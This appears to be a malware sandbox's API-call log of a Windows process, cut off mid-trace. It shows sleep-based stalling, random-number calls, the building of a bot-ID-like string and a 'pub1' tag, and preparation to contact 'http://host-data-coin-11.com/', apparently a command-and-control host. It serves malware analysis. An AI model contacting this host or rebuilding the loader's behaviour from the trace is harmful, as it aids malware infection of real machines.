Sleep (dwMilliseconds=0x258) [0178.540] Sleep (dwMilliseconds=0x258) [0178.542] Sleep (dwMilliseconds=0x258) [0178.544] Sleep (dwMilliseconds=0x258) [0178.545] Sleep (dwMilliseconds=0x258) [0178.547] Sleep (dwMilliseconds=0x258) [0178.548] Sleep (dwMilliseconds=0x258) [0178.551] Sleep (dwMilliseconds=0x258) [0178.553] Sleep (dwMilliseconds=0x258) [0178.554] Sleep (dwMilliseconds=0x258) [0178.556] Sleep (dwMilliseconds=0x258) [0178.557] Sleep (dwMilliseconds=0x258) [0178.559] Sleep (dwMilliseconds=0x258) [0178.560] Sleep (dwMilliseconds=0x258) [0178.562] Sleep (dwMilliseconds=0x258) [0178.563] Sleep (dwMilliseconds=0x258) [0178.565] Sleep (dwMilliseconds=0x258) [0178.567] Sleep (dwMilliseconds=0x258) [0178.568] Sleep (dwMilliseconds=0x258) [0178.570] Sleep (dwMilliseconds=0x258) [0178.572] Sleep (dwMilliseconds=0x258) [0178.574] Sleep (dwMilliseconds=0x258) [0178.575] Sleep (dwMilliseconds=0x258) [0178.651] Sleep (dwMilliseconds=0x258) [0178.816] Sleep (dwMilliseconds=0x258) [0178.841] Sleep (dwMilliseconds=0x258) [0178.842] Sleep (dwMilliseconds=0x258) [0178.843] Sleep (dwMilliseconds=0x258) [0178.851] Sleep (dwMilliseconds=0x258) [0178.900] Sleep (dwMilliseconds=0x258) [0178.903] Sleep (dwMilliseconds=0x258) [0178.906] Sleep (dwMilliseconds=0x258) [0178.908] Sleep (dwMilliseconds=0x258) [0178.909] Sleep (dwMilliseconds=0x258) [0178.911] Sleep (dwMilliseconds=0x258) [0178.912] Sleep (dwMilliseconds=0x258) [0178.914] Sleep (dwMilliseconds=0x258) [0178.978] Sleep (dwMilliseconds=0x258) [0178.979] Sleep (dwMilliseconds=0x258) [0178.983] Sleep (dwMilliseconds=0x258) [0178.986] Sleep (dwMilliseconds=0x258) [0178.988] Sleep (dwMilliseconds=0x258) [0178.989] Sleep (dwMilliseconds=0x258) [0178.991] Sleep (dwMilliseconds=0x258) [0178.993] Sleep (dwMilliseconds=0x258) [0178.995] Sleep (dwMilliseconds=0x258) [0178.998] Sleep (dwMilliseconds=0x258) [0179.001] Sleep (dwMilliseconds=0x258) [0179.102] Sleep (dwMilliseconds=0x258) [0179.104] Sleep (dwMilliseconds=0x258) [0179.106] Sleep (dwMilliseconds=0x258) [0179.107] Sleep (dwMilliseconds=0x258) [0179.109] Sleep (dwMilliseconds=0x258) [0179.149] Sleep (dwMilliseconds=0x258) [0179.202] Sleep (dwMilliseconds=0x258) [0179.203] Sleep (dwMilliseconds=0x258) [0179.207] Sleep (dwMilliseconds=0x258) [0179.209] Sleep (dwMilliseconds=0x258) [0179.212] Sleep (dwMilliseconds=0x258) [0179.215] Sleep (dwMilliseconds=0x258) [0179.217] Sleep (dwMilliseconds=0x258) [0179.219] Sleep (dwMilliseconds=0x258) [0179.221] Sleep (dwMilliseconds=0x258) [0179.222] Sleep (dwMilliseconds=0x258) [0179.224] Sleep (dwMilliseconds=0x258) [0179.226] Sleep (dwMilliseconds=0x258) [0179.228] Sleep (dwMilliseconds=0x258) [0179.229] Sleep (dwMilliseconds=0x258) [0179.232] Sleep (dwMilliseconds=0x258) [0179.233] Sleep (dwMilliseconds=0x258) [0179.236] Sleep (dwMilliseconds=0x258) [0179.238] Sleep (dwMilliseconds=0x258) [0179.239] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0179.239] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x669c9ba6 [0179.240] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xea) returned 0x91418b0 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc3034e09 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x551f0dd [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe09dd8e4 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2120db00 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf6783c2 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x18dcd661 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x20958db7 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd372136d [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfffa27f3 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54c8691b [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x794f5e0c [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b1a893 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeca2fdfa [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x77e7f0e7 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b6fb91c [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfe41408f [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x127c07fd [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6251eb68 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2fe8b466 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x98369126 [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe77a813f [0179.240] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd2f7117d [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5605ea8c [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf7c35846 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x21538c1b [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3ba7d4c6 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x25a1a756 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ee0f6ce [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31327d4b [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcd909df6 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf223c15e [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb85e1bb6 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x88df4a26 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd76437f8 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb9622307 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5ec34d2e [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x80b1050e [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x27f35435 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf41ca5cc [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x98e5ee9a [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdd477cc8 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc821dddd [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1cf38df9 [0179.241] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x456ac0a1 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc236e769 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x655ecf5a [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe92ae58b [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x675b34bb [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x389b73ec [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2790ef57 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd6c35cc5 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x37e302f6 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf7a7ef40 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xee5f3523 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3f073b1d [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2f215f50 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x62f6f891 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb3a15c61 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa3481ca3 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x491259cb [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb0e98efd [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4e79045d [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbe84fd2 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3128f2be [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa74c219c [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7a7b3045 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc87e66e9 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x691e2fe3 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x42115390 [0179.242] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x239e02d9 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf57bff17 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfa72cc71 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xffa7e0df [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2f0d4ed6 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcb3b04e7 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f8ceaa7 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8df9ca97 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe54a95e4 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x73720e69 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x251b73ed [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50bffb13 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc151f00c [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x93c176cc [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x112e556a [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc502bc5e [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4d9fa5b6 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbe969491 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3689865f [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb92dc689 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31fb62d2 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa21f44e [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5bbe686 [0179.243] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8c67737 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x703d9e4a [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd7c7fa44 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x39bff285 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd4281a75 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x27589483 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1853d146 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x36826726 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x46872681 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe16807ac [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd99ac33c [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2a9143b6 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x30afd84c [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8a3a30c9 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5ca6c144 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4cacbac [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23ddda7 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe003d7ee [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x56c26ffc [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5b7cc00 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6e1f8b78 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb1149bbd [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x871f7302 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9cba30aa [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf9af4bec [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4707d8e1 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbbe2400e [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa92d484c [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2090169 [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa18c1a5d [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcbc3f35f [0179.244] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbbcf2bb8 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfae61d05 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x23f53619 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3675fccd [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb4365003 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6d955899 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8348b50e [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfe165b26 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x31cd84c1 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f49ad5b [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xae6827e0 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xecf4dece [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3b9e0841 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe420de9a [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc7f9c288 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6835258 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x781883bc [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xabbc6c47 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35df8309 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe32fe359 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb239e7b [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4f5178a8 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xde75d771 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3b4f4ef8 [0179.245] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x94f815aa [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x33f5dd42 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b12f37b [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xce7312c8 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x18e32e27 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbe84ba52 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8608cf7c [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9ad83ed2 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbf5be13 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xde94fb92 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5bb9325c [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x21d32dc5 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x30ccef1 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbc098fdf [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x20d4dc06 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdedacbe0 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x74b691d4 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2d4f180a [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b0babc3 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x264ac649 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x41f5918e [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x781f9caa [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x16016c1a [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd0429201 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x667e86a5 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbfe900e9 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3ed3a4c8 [0179.246] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc0de85b1 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x41ea2ca9 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe077551e [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3c9ac196 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x80cc025b [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4446a07b [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8dc9eade [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1767b960 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7a4f9f31 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc9dc304 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x805d1854 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2b0fcc36 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc580bf1a [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78a6b4e0 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x46766a08 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8576a859 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x97c740aa [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1b43d9cf [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbb0ae401 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa700a1b6 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c9fb541 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3680231 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6a795790 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6a5847ba [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x94a3f623 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x286c905a [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f643266 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5f4d277f [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xef4d84ea [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xacc3c936 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85f81ba [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2690a40 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4928afe [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb152b384 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb767f755 [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbec507ac [0179.247] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6c9dc402 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdaf60bbc [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe7a14733 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6405eb76 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x99dd0489 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa50a4b1c [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4b269b2 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdf0a0606 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3df1a39e [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x732c69a6 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaf7f1f99 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xad992af2 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdc174335 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1327af09 [0179.248] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6f2d11fd [0179.248] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x139) returned 0x91419b0 [0179.248] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0179.248] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0179.248] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0179.248] lstrcatA (in: lpString1="", lpString2="0(?Me0vBFJEPm,W\"x)E/Dz!!.'O7>_uU'oX79\\;)O0@$z-Ljs>tqK^V!npTt*h5YKP@4I(^T\\U2(VS$J\"mAkmyB0:e]!D?-tb\";+<=YmqX9;@5ymI\"[5?Hw#f0^c4>L24e!*jmebE=U=jJ&Zy(kAy:/rS)i.A[T_uU'oX79\\;)O0@$z-Ljs>tqK^V!npTt*h5YKP@4I(^T\\U2(VS$J\"mAkmyB0:e]!D?-tb\";+<=YmqX9;@5ymI\"[5?Hw#f0^c4>L24e!*jmebE=U=jJ&Zy(kAy:/rS)i.A[T_uU'oX79\\;)O0@$z-Ljs>tqK^V!npTt*h5YKP@4I(^T\\U2(VS$J\"mAkmyB0:e]!D?-tb\";+<=YmqX9;@5ymI\"[5?Hw#f0^c4>L24e!*jmebE=U=jJ&Zy(kAy:/rS)i.A[TE5&FCssmfb(fw?SV'%Wwt,Pw_^As=Mwp%^0(sjb'T_FTiB;Ga`*qgN?D.l\"6)'t;Z\\V..B3Q='OT`YM6,^q75GrTQA,w[ruYiMt0" | out: lpString1="g3`Q?#pu7u/0n4kF#0&,G,)I2o$4*Kry>I\"wVY+c.!P+s91m4.qX'hOOl7Nm89k^rWUt;Y,/\\QRM5KJeu1:S?]\").^zwJb1N`4gQN3JwydzuacZ!gI:@[=Px,Okc2=swH\\1)I@&N>E5&FCssmfb(fw?SV'%Wwt,Pw_^As=Mwp%^0(sjb'T_FTiB;Ga`*qgN?D.l\"6)'t;Z\\V..B3Q='OT`YM6,^q75GrTQA,w[ruYiMt0") returned="g3`Q?#pu7u/0n4kF#0&,G,)I2o$4*Kry>I\"wVY+c.!P+s91m4.qX'hOOl7Nm89k^rWUt;Y,/\\QRM5KJeu1:S?]\").^zwJb1N`4gQN3JwydzuacZ!gI:@[=Px,Okc2=swH\\1)I@&N>E5&FCssmfb(fw?SV'%Wwt,Pw_^As=Mwp%^0(sjb'T_FTiB;Ga`*qgN?D.l\"6)'t;Z\\V..B3Q='OT`YM6,^q75GrTQA,w[ruYiMt0" [0180.513] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9141b20 [0180.514] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0180.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9141b20, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0180.514] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0180.561] WinHttpOpen 